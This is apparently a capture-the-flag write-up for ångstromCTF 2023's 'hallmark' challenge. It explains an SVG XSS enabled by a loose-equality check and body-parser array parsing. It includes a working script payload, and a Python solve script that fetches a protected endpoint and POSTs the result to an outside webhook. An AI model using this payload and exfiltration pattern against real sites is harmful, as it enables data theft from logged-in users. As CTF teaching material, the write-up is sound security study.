hallmark - ångstromCTF 2023
A SVG XSS with an Express.js body-parser bypass.
This past weekend, I participated in ångstromCTF 2023 with my team, Psi Beta Rho. I wanted to highlight one of the challenges I solved during the competition, hallmark, since I thought it was a nice challenge that showed some classic XSS techniques with some twists.
Prompt
The challenge provides a few source files with the following as the main application, index.js
:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
const express = require("express");
const bodyParser = require("body-parser");
const cookieParser = require("cookie-parser");
const path = require("path");
const { v4: uuidv4, v4 } = require("uuid");
const fs = require("fs");
const app = express();
app.use(bodyParser.urlencoded({ extended: true }));
app.use(cookieParser());
const IMAGES = {
heart: fs.readFileSync("./static/heart.svg"),
snowman: fs.readFileSync("./static/snowman.svg"),
flowers: fs.readFileSync("./static/flowers.svg"),
cake: fs.readFileSync("./static/cake.svg")
};
Object.freeze(IMAGES)
const port = Number(process.env.PORT) || 8080;
const secret = process.env.ADMIN_SECRET || "secretpw";
const flag = process.env.FLAG || "actf{placeholder_flag}";
const cards = Object.create(null);
app.use('/static', express.static('static'))
app.get("/card", (req, res) => {
if (req.query.id && cards[req.query.id]) {
res.setHeader("Content-Type", cards[req.query.id].type);
res.send(cards[req.query.id].content);
} else {
res.send("bad id");
}
});
app.post("/card", (req, res) => {
let { svg, content } = req.body;
let type = "text/plain";
let id = v4();
if (svg === "text") {
type = "text/plain";
cards[id] = { type, content }
} else {
type = "image/svg+xml";
cards[id] = { type, content: IMAGES[svg] }
}
res.redirect("/card?id=" + id);
});
app.put("/card", (req, res) => {
let { id, type, svg, content } = req.body;
if (!id || !cards[id]){
res.send("bad id");
return;
}
cards[id].type = type == "image/svg+xml" ? type : "text/plain";
cards[id].content = type === "image/svg+xml" ? IMAGES[svg || "heart"] : content;
res.send("ok");
});
// the admin bot will be able to access this
app.get("/flag", (req, res) => {
if (req.cookies && req.cookies.secret === secret) {
res.send(flag);
} else {
res.send("you can't view this >:(");
}
});
app.get("/", (req, res) => {
res.sendFile(path.join(__dirname, "index.html"));
});
app.listen(port, () => {
console.log(`Server listening on port ${port}.`);
});
Visiting https://hallmark.web.actf.co/, we are presented with a simple web application with the following interface.
The application allows us to create a custom card either with Custom Text
or with a few SVG options.
Notably, when one of the SVG options are selected the Content-Type
of the page changes to image/svg+xml
where as the Content-Type
is text/plain
whenever the Custom Text
option is selected. This is important as the application uses the Content-Type
to determine how to interpret the content of the card which is why the following XSS payload is interpreted as text and the JavaScript is not executed.
The Vulnerability
Examining the source code a bit further, one area in particular stands out. The PUT endpoint for /card
has a noticable vulnerability which is shown in the snippet below.
1
2
cards[id].type = type == "image/svg+xml" ? type : "text/plain";
cards[id].content = type === "image/svg+xml" ? IMAGES[svg || "heart"] : content;
In JavaScript, the ==
operating is used to perform loose equality comparisons, performing type coercion before turning a boolean, whereas ===
performs strict equality requiring both operands to be of the same type. An example of this property in action is shown below.
1
2
3
4
> ["image/svg+xml"] == "image/svg+xml"
true
> ["image/svg+xml"] === "image/svg+xml"
false
We can use this property to our advantage as this endpoint allows us to update a card to contain both the content and content-type that we can set. Particularly, if we can set the content-type to image/svg+xml
and the content to a SVG file, we can then determine how our content is interpreted allowing us to can inject arbitrary JavaScript into the application to gain XSS. SVGs are a type of XML file, so we can use the script
tag to inject JavaScript into the application.
body-parser
Behavior
One important piece of information needed to exploit this vulnerability is to figure out how to pass an array into the value of type
. The application uses the body-parser
middleware to parse the request body into a JavaScript object. I was a bit unfamiliar with how body-parser
acted as a middleware, so I decided to put together a proof-of-concept to see how it worked. I created a simple Express.js application that used body-parser
to parse the request body and then print the result to the console.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
const express = require('express');
const bodyParser = require('body-parser');
const port = 3000;
const app = express();
app.use(bodyParser.urlencoded({ extended: true }));
app.post('/test', (req, res) => {
console.log(req.body);
res.send('Hello World!');
});
app.listen(port, () => {
console.log(`Server listening on port ${port}.`);
});
Running the above application and the following commands, we can see how body-parser
parses the request body to produce the desired JavaScript object of an array.
1
2
3
4
5
6
node app.js
Server listening on port 3000.
> curl -X POST http://localhost:3000/test --data "test=bruh"
{ test: 'bruh' }
> curl -X POST http://localhost:3000/test --data "test[]=bruh"
{ test: [ 'bruh' ] }
Exploitation
Now that we know how to pass an array into the type
value, we can now exploit the vulnerability. One will notice that the /flag
endpoint can only be accessed by the admin bot and is checked by the admin bot’s cookie. Attempting to exfiltrate the admin bot’s cookie would not lead to much success as the cookie is marked as HttpOnly
and cannot be accessed by JavaScript. This is where a common XSS technique comes into play to bypass this restriction. We can make a request first on the /flag
endpoint to get the flag and then send that as the body of another request to a server we control. This allows the HttpOnly
restriction to be bypassed as the request to the /flag
endpoint as the value of the cookie is not being accessed by any of the client-side scripts. This can be done with the following JavaScript.
1
2
3
4
fetch("/flag").then(res => res.text()).then(text => fetch("https://eoszwikoix9fv9q.m.pipedream.net", {
method: "POST",
body: text
}))
Once we set up our own webhook to receive the flag, we are ready to perform the full exploit.
Solution
The full exploit requires first creating a card and getting the produced UUID to then update the contents of the card to contain the SVG with the JavaScript payload. I wrote the following Python script to perform the exploit and prints out the URL with the exploit set up.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
import requests
url = "https://hallmark.web.actf.co/card"
resp = requests.post(url, data={"svg": "cake", "content": "a"})
uuid = resp.url.split("=")[-1]
payload = """<script>fetch("/flag").then(res => res.text()).then(text => fetch("https://eoszwikoix9fv9q.m.pipedream.net", {method: "POST", body: text}))</script>"""
svg = """<svg version="1.1" id="Layer_1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px" viewBox="0 0 864 864" style="enable-background:new 0 0 864 864;" xml:space="preserve">""" + payload + """</svg>"""
r = requests.put(url, data={"id": uuid, "type[]": "image/svg+xml", "svg": "snowman", "content": svg})
print("Solve:", resp.url)
Once I submitted the output URL to the admin bot, I visited my webhook site to get the flag!
1
actf{the_adm1n_has_rece1ved_y0ur_card_cefd0aac23a38d33}